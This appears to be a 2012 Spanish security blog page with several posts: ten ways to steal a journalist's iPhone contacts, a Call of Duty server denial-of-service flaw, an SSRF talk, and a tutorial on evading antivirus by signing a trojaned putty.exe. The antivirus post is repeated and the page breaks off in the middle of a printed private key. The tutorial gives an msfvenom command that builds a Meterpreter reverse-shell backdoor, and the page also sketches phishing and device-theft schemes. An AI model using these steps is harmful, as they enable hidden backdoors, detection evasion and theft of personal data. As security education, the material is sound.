miércoles, 28 de noviembre de 2012

10 formas de robarle la agenda de contactos a Pipi


Pipi Estrada, el periodista que le robaron la agenda de teléfonos de famosos que acabó publicada en Internet tiene un iPhone. Es además un - probablemente - iPhone 4 o 4S - por lo que se puede ver en esta imagen que publica él mismo en Twitter -, no creo que tenga una versión anterior del terminal, pero es lo que está levantando tanta expectación sobre cómo le han podido robar la agenda de contactos de su terminal... y la verdad es que no es tan excepcional o extraño como pueda parecer.
Lo primero que se nos viene a la mente es la posibilidad de que le hayan hackeado su terminal y un *hacker* se haya colado dentro para sacar los contactos, algo que podría hacerse de diferentes formas. Sin embargo, yo tengo mis propias teorías. Aquí os dejo 10 formas de robarle la agenda a Pipi Estrada de su iPhone 4/4S.
1) Con un APT: Averiguamos su UDID del iPhone y su dirección de correo personal y generamos un provisoning profile. Le enviamos un troyano por correo electrónico, acepta las dos alertas de seguridad y se come un troyano tipo FinSpy que nos reporta todos los contactos. 
2) Con un APT de una Fake CA y un mitm: Averiguamos su correo y le enviamos una fake CA para luego hacer un mitm con un rogue AP cercano. Después le mandamos a un portal cautivo y le pedimos su contraseña de Apple iTunes. Con ella accedemos a su backup en iCloud y descargamos los contactos. 
3) Con un JailOwnMe: Pipi no tiene actualizado el software de su iPhone y es vulnerable a los exploit de comex. Le mandamos un tweet con un link a un PDF y cuando lo abra tenemos una shell con JailOwnMe que nos permite acceder a sus contactos. 
4) Con un Address Bar Spoofing: Pipi no tiene iOS 5.1.1 o iOS 6 y le enviamos un link al twitter cuando está twitteando para que entre en un phishing hecho con address bar spoofing y le robamos la password de iCloud. Desde allí descargamos su agenda. 
5) Si Pipi tiene sincronizado su Gmail con su iPhone: Un Phishing burdo por correo electrónico o Twitter, Pipi pone su password y se accede a los contactos de Gmail para descargar su agenda en un csv
6) Backup involuntario: Si Pipi enchufa su terminal a un equipo para que se cargue la batería, en un descuido hacemos un backup con el iTunes y listo. 
7) Un Forense en 10 minutos: Tenemos acceso físico al terminal, lo pinchamos a un Oxygen Forensics y en 10 minutos volcamos todo el terminal a nuestro equipo. 
8) A través de un hijacking de Facebook: Pipi tiene iOS 6, ha sincronizado su iPhone con Facebook pero se conecta desde redes WiFi inseguras y le capturan una cookie de sesión de Facebook. Le hacen un hijacking a su cuenta y se descargan todos los contactos. 
9) Preguntando a Siri: Tiene un iPhone 4S con Siri activado, alguien tiene acceso al terminal y se dedica a preguntarle a Siri todos los teléfonos de la agenda que le interesan. 
10) JavaScript Botnet: Su iPhone se conecta a una Rogue WiFi que se llama Public o Free. Pipi se había conectado anteriormente a una red llamada así y como iPhone no comprueba el BSSID se come una JavaScript Botnet con la que le hacen un Phishing
... Y tantos y tantos esquemas de ataque como se os ocurran que me he dejado el shoulder surfer, un pairing de BlueTooh, llamar a algún iGenius a que nos de la password de Pipi o un troyano en su computadora personal. Lo cierto es que pensar que un iPhone o, o cualquier smartphone, es invulnerable es una autentica temeridad. Ten cuidado con lo que guardas en tu iPhone, no vaya a ser que acabe en Pastebin.
 
 
Fuente: www.elladodelmal.com

Denegacion de servicio en Call Of Duty: Modern Warfare 3

Se ha descubierto una vulnerabilidad en el juego Call Of Duty: Modern Warfare 3 (CoDMW3) que podría provocar una denegación de servicio en los servidores públicos y privados utilizados para el modo multijugador, además de un problema de ejecución de código en el motor gráfico CryENGINE 3.

En la reciente conferencia de seguridad Power of Community (POC2012) de Seúl, varios especialistas de ReVuln presentaron varios fallos de seguridad en múltiples juegos on-line. 


Por ejemplo, ReVuln dice que logró comprometer una computadora explotando un bug en el juego Nexuiz. Sin embargo, la compañía aún no ha publicado detalles sobre las vulnerabilidades encontradas, sólo un video para demostrar que el exploit hecho a medida es funcional. 

De acuerdo con ReVuln, los fallos están dentro de CryENGINE 3, un motor de videojuegos que es usado por Nexuiz y muchos otros juegos. Esto significa que otros juegos que están basados en CryENGINE 3 también podrían ser potencialmente afectados.


Como parte de su presentación, los investigadores de seguridad también demostraron como un 0-day un ataque de denegación de servicio (DoS) al servidor del popular juego de PC Call Of Duty: Modern Warfare 3.

Para el modo online, CoDMW3 se comunica principalmente a través del protocolo UDP y el puerto 27015 con mensajes cifrados y utiliza DemonWare para comprobar y autenticar a los usuarios. Cuando el servidor recibe un paquete querysessioninfo o queryserverinfo, lo descifra y envía al servidor DemonWare.

El fallo es un error de desreferencia a puntero nulo en el lado del servidor que podría causar que dicho servidor se bloqueara, causando de este modo una denegación de servicio. Veamos un poquito más a nivel técnico:

El formato del paquete udp es el siguiente:

• 32-bit magic number
• 32-bit encryption init seed
• IPv4 address of the server
• net_queryPort of the server
• 8-bit DemonWare version (0x02)
• 8-bit opcode: 0x01 for querysessioninfo or 0x02 for queryserverinfo
• 64-bit query number (random)
• 64-bit query number (random)
• 32-bit timestamp plus delta
• public client IPv4 address
• 64-bit xor’ed MD5 hash
• 16-bit CRC




Cuando el servidor recibe un paquete servequerryinfo o sessionquerryinfo, éste lo reenvía descifrado al server maestro DEMONWARE.

Para que sea un paquete DEMONWARE válido, debe contener dos valores de 64 bits que deben ser diferentes de los valores contenidos en los paquetes anteriores enviados por el cliente. Un paquete válido debe tener:


  • CRC correcto, net_queryPort, hash y la versión
  • Dirección IP origen que debe coincidir con la ip pública almacenada de uno de los clientes
  • Fecha y hora dentro de los 60 segundos del rango esperado por el servidor
  • Los números aleatorios de la consulta
  •  Puerto aleatorio de origen de los paquetes

 
Después de 55 paquetes, el servidor se bloquea debido a una desreferencia puntero NULL. 
Los paquetes UDP pueden ser suplantados y la vulnerabilidad afecta tanto a servidores públicos como a privados.

Hay que tener en cuenta que los servidores
de CoDMW3 son públicos y se enumeran en el maestro, por lo que un atacante puede utilizar esta información para acabar con todos los servidores públicos a la vez.



Fuentes: 

domingo, 25 de noviembre de 2012

Ataques SSRF y sockets: buffet de vulnerabilidades


Imagina que tienes dos sistemas (sistema A y sistema B) que confían entre sí, es decir, que la comunicación entre ellos no está bloqueada por un firewall porque se tienen que transferir datos desde un sistema a otro. El sistema A es, por ejemplo, un portal corporativo accesible desde una red insegura como es Internet. El otro sistema es un ERP al que no se puede acceder directamente desde Internet, pero que confía en el portal corporativo. Este es el esquema típico en una empresa...

La idea de un ataque SSRF (Server Side Request Forgery, no confundir con CSRF) es encontrar algún tipo de servicio vulnerable en el sistema A, que puede reenviar peticiones maliciosas a la red interna y por lo tanto al sistema B. Así es como podemos superar los firewalls y sistemas IDS y explotar sistemas más seguros. Con una vulnerabilidad de este tipo podemos por ejemplo conseguir el escaneo de redes internas, el reenvío de peticiones HTTP, ataques de fuerza bruta contra el backend y, una de las más peligrosas, hacer tunneling XXE (Xml eXternal Entity).

Hace tiempo vimos en el blog un 0-day para una vulnerabilidad XXE en Postgresql de Onsec. Esta vez, vamos a ver la presentación de una ponencia que hicieron sus integrantes, Vladimir Vorontsov y Alexander Golovko, en la conferencia ZeroNights que tuvo lugar en Moscú los pasados 19 y 20 de noviembre, y en la que veréis la aplicación práctica de varios ataques SSRF usando sockets.


Eso sí, sacar el móvil porque dentro encontraréis un QR-Code que te llevará a un interesante script que explota un SSRF universal en PHP-FPM (FastCGI Process Manager) capaz de evadir safe_mode, disabled_functions, open_basedir, etc. Cualquier feedback sobre la explotación de esa vulnerabilidad será bienvenido :)


jueves, 22 de noviembre de 2012

Evasión de antivirus con ejecutables firmados


Continuamos con el estudio de distintas técnicas para la evasión de antivirus. En esta ocasión veremos un caso muy curioso en el que comprobaremos como la simple firma digital de un fichero ejecutable malicioso puede provocar su indetección.

¿Cómo? Pues las políticas de algunos motores de antivirus pueden excluir el análisis de un fichero simplemente por estar firmado para mejorar el rendimiento... si bien es más probable que, al añadir código al fichero durante este proceso, se vean afectadas las (frágiles) detecciones mediante firmas. Veamos los resultados.

Primero y según la Wikipedia, empezamos definiendo la firma de código como "el proceso de firmar digitalmente ejecutables y scripts para confirmar el autor del software y garantizar que el código no ha sido alterado o corrompido desde que fue firmado mediante el uso de un hash criptográfico.".

Las principales herramientas para firmar ejecutables son codesign en Mac OS X y singtool de Mozilla y Microsoft, aunque en esta entrada comenzaremos con Linux probando osslsigncode (OpenSSL-based signcode utility project), una herramienta multiplataforma basada en OpenSSL y libcurl capaz de firmar ficheros EXE/CAB y mediante la cual firmaremos nuestro fichero de pruebas: un ejecutable de Windows al que inyectaremos un payload malicioso con msfvenom:

msfvenom -p windows/meterpreter/reverse_https -f exe -k -x putty.exe LHOST=192.168.249.128 LPORT=443 >evilputty.exe
 
A continuación procederemos a descargar e instalar osslsigncode:

root@bt:/home/pruebas/avbypass# tar -zxvf osslsigncode-1.4.tar.gz 
osslsigncode-1.4/
osslsigncode-1.4/configure
osslsigncode-1.4/COPYING
osslsigncode-1.4/configure.ac
osslsigncode-1.4/Makefile.in
osslsigncode-1.4/aclocal.m4
osslsigncode-1.4/osslsigncode.c
osslsigncode-1.4/config.h.in
osslsigncode-1.4/missing
osslsigncode-1.4/Makefile.am
osslsigncode-1.4/README
osslsigncode-1.4/install-sh
osslsigncode-1.4/depcomp
osslsigncode-1.4/.gitignore
osslsigncode-1.4/TODO
osslsigncode-1.4/ChangeLog
root@bt:/home/pruebas/avbypass# cd osslsigncode-1.4

root@bt:/home/pruebas/avbypass/osslsigncode-1.4# ./configure
checking for a BSD-compatible install... /usr/bin/install -c
checking whether build environment is sane... yes
checking for a thread-safe mkdir -p... /bin/mkdir -p
checking for gawk... gawk
checking whether make sets $(MAKE)... yes
checking for gcc... gcc
checking whether the C compiler works... yes
checking for C compiler default output file name... a.out
checking for suffix of executables... 
checking whether we are cross compiling... no
checking for suffix of object files... o
checking whether we are using the GNU C compiler... yes
checking whether gcc accepts -g... yes
checking for gcc option to accept ISO C89... none needed
checking for style of include used by make... GNU
checking dependency style of gcc... gcc3
checking how to run the C preprocessor... gcc -E
checking for grep that handles long lines and -e... /bin/grep
checking for egrep... /bin/grep -E
checking for ANSI C header files... yes
checking for sys/types.h... yes
checking for sys/stat.h... yes
checking for stdlib.h... yes
checking for string.h... yes
checking for memory.h... yes
checking for strings.h... yes
checking for inttypes.h... yes
checking for stdint.h... yes
checking for unistd.h... yes
checking minix/config.h usability... no
checking minix/config.h presence... no
checking for minix/config.h... no
checking whether it is safe to define __EXTENSIONS__... yes
checking for pkg-config... /usr/bin/pkg-config
checking pkg-config is at least version 0.9.0... yes
checking how to run the C preprocessor... gcc -E
checking whether ln -s works... yes
checking for a sed that does not truncate output... /bin/sed
checking whether make sets $(MAKE)... (cached) yes
checking for an ANSI C-conforming const... yes
checking for ANSI C header files... (cached) yes
checking whether time.h and sys/time.h may both be included... yes
checking sys/mman.h usability... yes
checking sys/mman.h presence... yes
checking for sys/mman.h... yes
checking for mmap... yes
checking for dlopen in -ldl... yes
checking for OPENSSL... yes
checking for LIBCURL... yes
configure: creating ./config.status
config.status: creating Makefile
config.status: creating config.h
config.status: executing depfiles commands

root@bt:/home/pruebas/avbypass/osslsigncode-1.4# make
make  all-am
make[1]: Entering directory `/home/pruebas/avbypass/osslsigncode-1.4'
gcc -DHAVE_CONFIG_H -I.      -g -O2 -MT osslsigncode.o -MD -MP -MF .deps/osslsigncode.Tpo -c -o osslsigncode.o osslsigncode.c
mv -f .deps/osslsigncode.Tpo .deps/osslsigncode.Po
gcc   -g -O2   -o osslsigncode osslsigncode.o -lcrypto   -lcurl   
make[1]: Leaving directory `/home/pruebas/avbypass/osslsigncode-1.4'

root@bt:/home/pruebas/avbypass/osslsigncode-1.4# make install
make[1]: Entering directory `/home/pruebas/avbypass/osslsigncode-1.4'
test -z "/usr/local/bin" || /bin/mkdir -p "/usr/local/bin"
  /usr/bin/install -c osslsigncode '/usr/local/bin'
make[1]: Nothing to be done for `install-data-am'.
make[1]: Leaving directory `/home/pruebas/avbypass/osslsigncode-1.4'

El siguiente paso será generar una clave privada RSA. Esta será de 2048 bits usando triple-DES:

root@bt:/home/pruebas/avbypass/osslsigncode-1.4# openssl genrsa -des3 -out clave.pem 2048
Generating RSA private key, 2048 bit long modulus
.............+++
..............................................+++
e is 65537 (0x10001)
Enter pass phrase for clave.pem:
Verifying - Enter pass phrase for clave.pem:
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# file clave.pem 
clave.pem: PEM RSA private key

Como véis el formato PEM es legible como texto ASCII:

root@bt:/home/pruebas/avbypass/osslsigncode-1.4# cat clave.pem 
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,DFBBA9AE6945EF61

YZloSP6qebhoghbTJjvEeQpZke5Urr6Rr09MENPoGLJd2CTBxl2Hpyasm7TWIcLV
zJEV6X9SETPxCRqp6uiiOLGWKZGx99//1fSrBClBqZ/ndi8Rd/RZCnn7k1OzpTls
UuoPbBG1fzDrhTTQtNcHh29WDDtftL5J3yO11jSQAust39zAMbcYdVKWAQyydN9C
Ut7ykKt9hgd0g1v7K9Uq2DDJ/VcHsNShOdNVBaElLe6H8oxf18nSE881PAUyixd9
vfe9jFuWpcY3GWbRh+/rHq3LXQaWXR4qx8gPdsyHwENrqg3xgMW3gEc/IC1QGwq+
K+akMmsgQdSQwxmC13OOsBw1KJyORkn4PuVIxRY8PBSwd/eFQcZnt+LIJ/W7kGT2
WCU523ixcfN4XfpGHb06DaRVsd5/WvODsYV7xs3taQa8kfW9HF5RNWs4s304qU/s
/emlv+mhscn6R9r7hzQe2J/qilZ/4wp6+M7t3RwbbyrdHKQqO8P+VF+c7Hy18Vah
dWinZEgQ+6SIzm8x54E35uKXquuhnE276mwJEXiFoQSVsO5JQRfGBLaHL03yiWxE
vXDyfIJi/zBDWL5ARQK4I0vVqZf2m71Dha4/KibCb2rfJYB9lqgstoOQq4ydszPE
SVB6AwplI3NDwISxoh8QxaVwgJvS9gHnQgzpyEpdG2pXOQR7vzhp481rOPeneI7z
XxXTjR3xfeh4fghQfF31RDn6kSK7MikFw3F1E1ZML2IxogvDsUrwRlzGh4pF9TMh
EozcoDAwLTkBjgnTkLHjw8/S8awSnHJQh4s2i0wUvVoP7Xv46gtgFvvJ3bdo0/ID
Z+468Lkg0QEk3LSkn9ANajIs6b8NGkvOZIRJJGlLof7bbuW/Vdo1ehLS4kKCXxea
0BBmRfkmPXa/pzpG8ls19dfoIy6ZgiqossNNpDaRRLOd+zzpxiCxCYuOPV6BV2TF
v34wwwvP//8/OrCt5FQqVU2kDjN716Y/5VJ2TQ3qunev5otH+pa9S2q2kZXLfayT
17Mwj/GQNoJsfG4tq3Rb/45ponFzZDO1N+kXhqIBhZvrC+0Q6yBNoIAbJ8BJHNUF
DdpMEDsjT+Xz36fnaPa/iuq5OAf4bibrYUdGk0OiI2i4cCtl8QWFcdd4GmJuLl3g
TW3O7y0GtfrQ58UKGv8HxP++45+sGT5k7x/UXEDyZ+mgzCBGYHWsC2xOoZow9INB
OEN2tmLBzHD4qneVF60UMwt/QCJns17SgeVczcjfe0tyxt9y7+nS39u2tay96TXN
zPIXyCUh3OvFR9s7Jeg5tBoGLGtVbnF+DW70A2oKPgbDaTuy/m1OCqxb4IZVIwIL
fkBdYK6+eRpUfeWqFT1bUHw70aHmfaHg7lmQS9wNFCXijNfnFjpMvJrIh+rpCh11
muNHKmqGX1HQ46vAaC+eBkhcumsJCyJxHPSAnOKPzx2wf3PETeZguAv6nOjCi6fx
hmz7vDofZ++J0e/mFywMf6nJ0/0PTXs4bG4mnb6GUKn9kjQ0aSDwdjeyw1Gypooe
kexUgs+W/znswoWp9yQ1NkL0y9R2GELdZRNvUwuA2aZOStYj/0ljyw==
-----END RSA PRIVATE KEY-----

Después necesitaremos convertir la clave a formato binario .der (ASN.1 BER-encoded):

root@bt:/home/pruebas/avbypass/osslsigncode-1.4# openssl rsa -in clave.pem -out clave.der -outform DER 
Enter pass phrase for clave.pem:
writing RSA key
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# file clave.der 
clave.der: data

Si echamos un vistazo a este formato obtendremos una salida ilegible, que siempre suelen comenzar con un carácter '0' (0x30).

root@bt:/home/pruebas/avbypass/osslsigncode-1.4# cat clave.der 
0? ?   ?  ??W?r& ???H?NWT+?h??91`?~?? ui???d >?"     0?bc?m??z`? 5T2J?.??PD??w$?d6dU[ 
                                                                                         ?:Th8???    \?|]?u?????C?X????? ?????e }?m???JI ?=?NZ)?H???R??Zy@?tc?0?B ???? 2?,??? ?:?  ?0? ?"?'? :dN????! ?n?s?????/^?p??J?'F????  8????j?k ^ "ffP??%?.???      ?  #??1??wb????rgw}Z\8
???9?bT
        ?P =@??0???bR?? 71??I ??/?!???J1; ?; ??4@ v?>:br@?8???@55??      S NF?D??????
                                                                                      ???38h?k? $3oV??s?5
b< ??W@.Yq?????mM????>1??e????:???r?A????6?? ???3?? ?????! ?T                                            ??)2?3 Z<,?
                                                             ?p??i?P????5??????=?e]?*?9 ?????,?[???d?? ??n?+?k8?U?+ b ???rsj??o?? ????o
           ??g?E?wZ?9?e?\D?P?m?????"<` ?$p9??)??g ?r #???(?Rcqb#iX?F?:?:Aux???r? ??????5G?  A&?/d*??
                                                                                                   ??,/F?e -|??6L?t?_? ?????????J??? ???1?šT?D?H%?? ???$?[9  ?Am?T ?YN
??}?L???[?
          aM? U ??vb?m??? ?v?l???&?
                                    ?S??                                                             N 0???+X ~?j?YC??C ???Ck%???? ???0?q9Y?? ?6l? ????e)|??1??f??l'?? a?[D????bI?? ?T -??q ???+??:?k???8J?eU \    |%
root@bt:/home/pruebas/avbypass/osslsigncode-1.4#

Ahora que ya tenemos nuestra clave, procederemos a crear el certificado autofirmado: 

root@bt:/home/pruebas/avbypass/osslsigncode-1.4# openssl req -new -x509 -key clave.pem -out certificado.pem -days 365
Enter pass phrase for clave.pem:
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:LA
Locality Name (eg, city) []:Los Angeles
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Microsoft
Organizational Unit Name (eg, section) []:IT
Common Name (eg, YOUR name) []:Bill Troy
Email Address []:btroy_r@microsoft.com
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# file certificado.pem 
certificado.pem: PEM certificate
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# cat certificado.pem 
-----BEGIN CERTIFICATE-----
MIIEjzCCA3egAwIBAgIJAJPHifiZZJzbMA0GCSqGSIb3DQEBBQUAMIGLMQswCQYD
VQQGEwJVUzELMAkGA1UECBMCTEExFDASBgNVBAcTC0xvcyBBbmdlbGVzMRIwEAYD
VQQKEwlNaWNyb3NvZnQxCzAJBgNVBAsTAklUMRIwEAYDVQQDEwlCaWxsIFRyb3kx
JDAiBgkqhkiG9w0BCQEWFWJ0cm95X3JAbWljcm9zb2Z0LmNvbTAeFw0xMjExMTUx
MTUxMjZaFw0xMzExMTUxMTUxMjZaMIGLMQswCQYDVQQGEwJVUzELMAkGA1UECBMC
TEExFDASBgNVBAcTC0xvcyBBbmdlbGVzMRIwEAYDVQQKEwlNaWNyb3NvZnQxCzAJ
BgNVBAsTAklUMRIwEAYDVQQDEwlCaWxsIFRyb3kxJDAiBgkqhkiG9w0BCQEWFWJ0
cm95X3JAbWljcm9zb2Z0LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAJfqsphXhHImA+mkx0iOONhOV1Qrt2jG1Y45MWCwfpTpHXVp5djIZB8+iiIe
CTDKYmPKbfOAemCAEzVUMkrrLqezUETPvrZ3JKVkNmRVDlsEDKA6VGg45v3yCVyS
fF3cdeHyreGuQ8ZYpdq50NvYEIuUp+zjZRt92m2cow/dB0pJBtY9nE4PWin7SIPR
tshSqgjVjsVaeUDfr3Rj9zDrQhy018CRGjIO5SyZiK0a4Tr6AhymMIEEpyKUJ4oQ
OmROgNOiBfHjq6UhENmfbtZzot7zs4yyjS9ezXC3gErhJ86muYJ/+MsGHzi5gdWl
lmqiayBeFSJmZlCdgCWHLqfY4BMCAwEAAaOB8zCB8DAdBgNVHQ4EFgQUQb61nshB
TDi8FQh7JoqY5+/RF1gwgcAGA1UdIwSBuDCBtYAUQb61nshBTDi8FQh7JoqY5+/R
F1ihgZGkgY4wgYsxCzAJBgNVBAYTAlVTMQswCQYDVQQIEwJMQTEUMBIGA1UEBxML
TG9zIEFuZ2VsZXMxEjAQBgNVBAoTCU1pY3Jvc29mdDELMAkGA1UECxMCSVQxEjAQ
BgNVBAMTCUJpbGwgVHJveTEkMCIGCSqGSIb3DQEJARYVYnRyb3lfckBtaWNyb3Nv
ZnQuY29tggkAk8eJ+JlknNswDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOC
AQEADGyRrAUJ2tTA5yMcn6NkfafLhUyUG7iWxs4EV+2NzE4pci/Qs/xK7So7Fz+y
qO5EarNY+WnH/MnFg1juCQ2K6UBf0NLFDMzNI5QjSngDntHLF9QHqjIldhm45khk
5SnOXDQS//M2q0gIJq4MOvNtctVyZOTHNK3PHvrpf3zFuwPWAUwgl4uKhWOCRIat
D1SsS/zBeda1oJU8B1TbfGiZqhjfuCEjtPLCLNRU/hksxJBeeA6yMhiR9KlDQTzB
tuH+yhK/IrqaW3P9o2KzeTCDl/vvLTmjRVqx4Ttwq8NCUmXV28/WVafr2noDXe62
+6r83DASXtVxvdQXhODI3TLdYA==
-----END CERTIFICATE-----

Antes de utilizar osslsigncode, necesitamos convertir el certificado al formato de la CryptoAPI de Microsoft, obteniendo como resultado un fichero con extensión .spc (Software Publisher's Certificate):

root@bt:/home/pruebas/avbypass/osslsigncode-1.4# openssl crl2pkcs7 -nocrl -certfile certificado.pem -outform DER -out certificado.spc
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# file certificado.spc 
certificado.spc: data

Ya podemos firmar el ejecutable:

root@bt:/home/pruebas/avbypass/osslsigncode-1.4# osslsigncode -spc certificado.spc -key clave.der -n "Putty" -i http://www.chiark.greenend.org.uk/ -in evilputty.exe -out evilputty-firmado.exe
Succeeded
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# file evilputty-firmado.exe 
evilputty-firmado.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

Ahora veamos el análisis de los ejecutables mediante VirusTotal. Como véis, nuestro "putty maligno" tiene una alta tasa de detección:

https://www.virustotal.com/file/4e281e1c35a39aca88225d94bab48b8ef3436a3233f828021c1499a710aeea89/analysis/1352982503/

SHA256:   

4e281e1c35a39aca88225d94bab48b8ef3436a3233f828021c1499a710aeea89

Nombre:     evilputty.exe

Detecciones:     28 / 44

Finalmente la prueba de fuego... analizamos también nuestro "putty maligno" auto-firmado:

https://www.virustotal.com/file/777fd456acd059dda646d18a51facd112ab5313082bfb586b5b456bcd5c178b8/analysis/1352982351/

evilputty-firmado.exe

SHA256:   

777fd456acd059dda646d18a51facd112ab5313082bfb586b5b456bcd5c178b8

Nombre:     evilputty-firmado.exe

Detecciones:     25 / 44

¡Tres antivirus no detectan el payload de Metasploit: ByteHero y (nada más y nada menos) que Avira AntiVir y Avast!!

Pero espera, espera, que no acabamos... para los amantes de M$ podemos repetir las pruebas con signtool:

D:\Program Files2\Microsoft SDKs\Windows\v7.0\Bin>makecert -r -pe -$ individual -n CN=TEST1 -sv test1.pvk test1.cer
Succeeded

D:\Program Files2\Microsoft SDKs\Windows\v7.0\Bin>pvk2pfx -pvk test1.pvk -spc test1.cer -pfx test1.pfx

D:\Program Files2\Microsoft SDKs\Windows\v7.0\Bin>signtool sign /f test1.pfx d:\
metasploit\evilputty.exe
Done Adding Additional Store
Successfully signed: d:\metasploit\evilputty.exe

D:\Program Files2\Microsoft SDKs\Windows\v7.0\Bin>signtool sign /f test1.pfx d:\
metasploit\evilputty-firmado.exe
Done Adding Additional Store
Successfully signed: d:\metasploit\evilputty-firmado.exe

https://www.virustotal.com/file/2b2fea33781923b48f47952a164b8e8897d4db38d45408a778d004

SHA256:    

 2b2fea33781923b48f47952a164b8e8897d4db38d45408a778d004e4beee5444

Nombre:     evilputty-firmado.exe

Detecciones:     25 / 44

Y obtenemos los mismos resultados... ¿o qué creías? ;)


Evasión de antivirus con ejecutables firmados

Continuamos con el estudio de distintas técnicas para la evasión de antivirus. En esta ocasión veremos un caso muy curioso en el que comprobaremos como la simple firma digital de un fichero ejecutable malicioso puede provocar su indetección.

¿Cómo? Pues las políticas de algunos motores de antivirus pueden excluir el análisis de un fichero simplemente por estar firmado para mejorar el rendimiento... si bien es más probable que, al añadir código al fichero durante este proceso, se vean afectadas las (frágiles) detecciones mediante firmas. Veamos los resultados.

Primero y según la Wikipedia, empezamos definiendo la firma de código como "el proceso de firmar digitalmente ejecutables y scripts para confirmar el autor del software y garantizar que el código no ha sido alterado o corrompido desde que fue firmado mediante el uso de un hash criptográfico.".

Las principales herramientas para firmar ejecutables son codesign en Mac OS X y singtool de Mozilla y Microsoft, aunque en esta entrada comenzaremos con Linux probando osslsigncode (OpenSSL-based signcode utility project), una herramienta multiplataforma basada en OpenSSL y libcurl capaz de firmar ficheros EXE/CAB y mediante la cual firmaremos nuestro fichero de pruebas: un ejecutable de Windows al que inyectaremos un payload malicioso con msfvenom:

msfvenom -p windows/meterpreter/reverse_https -f exe -k -x putty.exe LHOST=192.168.249.128 LPORT=443 >evilputty.exe
 
A continuación procederemos a descargar e instalar osslsigncode:
root@bt:/home/pruebas/avbypass# tar -zxvf osslsigncode-1.4.tar.gz 
osslsigncode-1.4/
osslsigncode-1.4/configure
osslsigncode-1.4/COPYING
osslsigncode-1.4/configure.ac
osslsigncode-1.4/Makefile.in
osslsigncode-1.4/aclocal.m4
osslsigncode-1.4/osslsigncode.c
osslsigncode-1.4/config.h.in
osslsigncode-1.4/missing
osslsigncode-1.4/Makefile.am
osslsigncode-1.4/README
osslsigncode-1.4/install-sh
osslsigncode-1.4/depcomp
osslsigncode-1.4/.gitignore
osslsigncode-1.4/TODO
osslsigncode-1.4/ChangeLog
root@bt:/home/pruebas/avbypass# cd osslsigncode-1.4

root@bt:/home/pruebas/avbypass/osslsigncode-1.4# ./configure
checking for a BSD-compatible install... /usr/bin/install -c
checking whether build environment is sane... yes
checking for a thread-safe mkdir -p... /bin/mkdir -p
checking for gawk... gawk
checking whether make sets $(MAKE)... yes
checking for gcc... gcc
checking whether the C compiler works... yes
checking for C compiler default output file name... a.out
checking for suffix of executables... 
checking whether we are cross compiling... no
checking for suffix of object files... o
checking whether we are using the GNU C compiler... yes
checking whether gcc accepts -g... yes
checking for gcc option to accept ISO C89... none needed
checking for style of include used by make... GNU
checking dependency style of gcc... gcc3
checking how to run the C preprocessor... gcc -E
checking for grep that handles long lines and -e... /bin/grep
checking for egrep... /bin/grep -E
checking for ANSI C header files... yes
checking for sys/types.h... yes
checking for sys/stat.h... yes
checking for stdlib.h... yes
checking for string.h... yes
checking for memory.h... yes
checking for strings.h... yes
checking for inttypes.h... yes
checking for stdint.h... yes
checking for unistd.h... yes
checking minix/config.h usability... no
checking minix/config.h presence... no
checking for minix/config.h... no
checking whether it is safe to define __EXTENSIONS__... yes
checking for pkg-config... /usr/bin/pkg-config
checking pkg-config is at least version 0.9.0... yes
checking how to run the C preprocessor... gcc -E
checking whether ln -s works... yes
checking for a sed that does not truncate output... /bin/sed
checking whether make sets $(MAKE)... (cached) yes
checking for an ANSI C-conforming const... yes
checking for ANSI C header files... (cached) yes
checking whether time.h and sys/time.h may both be included... yes
checking sys/mman.h usability... yes
checking sys/mman.h presence... yes
checking for sys/mman.h... yes
checking for mmap... yes
checking for dlopen in -ldl... yes
checking for OPENSSL... yes
checking for LIBCURL... yes
configure: creating ./config.status
config.status: creating Makefile
config.status: creating config.h
config.status: executing depfiles commands

root@bt:/home/pruebas/avbypass/osslsigncode-1.4# make
make  all-am
make[1]: Entering directory `/home/pruebas/avbypass/osslsigncode-1.4'
gcc -DHAVE_CONFIG_H -I.      -g -O2 -MT osslsigncode.o -MD -MP -MF .deps/osslsigncode.Tpo -c -o osslsigncode.o osslsigncode.c
mv -f .deps/osslsigncode.Tpo .deps/osslsigncode.Po
gcc   -g -O2   -o osslsigncode osslsigncode.o -lcrypto   -lcurl   
make[1]: Leaving directory `/home/pruebas/avbypass/osslsigncode-1.4'

root@bt:/home/pruebas/avbypass/osslsigncode-1.4# make install
make[1]: Entering directory `/home/pruebas/avbypass/osslsigncode-1.4'
test -z "/usr/local/bin" || /bin/mkdir -p "/usr/local/bin"
  /usr/bin/install -c osslsigncode '/usr/local/bin'
make[1]: Nothing to be done for `install-data-am'.
make[1]: Leaving directory `/home/pruebas/avbypass/osslsigncode-1.4'

El siguiente paso será generar una clave privada RSA. Esta será de 2048 bits usando triple-DES:
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# openssl genrsa -des3 -out clave.pem 2048
Generating RSA private key, 2048 bit long modulus
.............+++
..............................................+++
e is 65537 (0x10001)
Enter pass phrase for clave.pem:
Verifying - Enter pass phrase for clave.pem:
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# file clave.pem 
clave.pem: PEM RSA private key

Como véis el formato PEM es legible como texto ASCII:
root@bt:/home/pruebas/avbypass/osslsigncode-1.4# cat clave.pem 
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,DFBBA9AE6945EF61

YZloSP6qebhoghbTJjvEeQpZke5Urr6Rr09MENPoGLJd2CTBxl2Hpyasm7TWIcLV
zJEV6X9SETPxCRqp6uiiOLGWKZGx99//1fSrBClBqZ/ndi8Rd/RZCnn7k1OzpTls
UuoPbBG1fzDrhTTQtNcHh29WDDtftL5J3yO11jSQAust39zAMbcYdVKWAQyydN9C
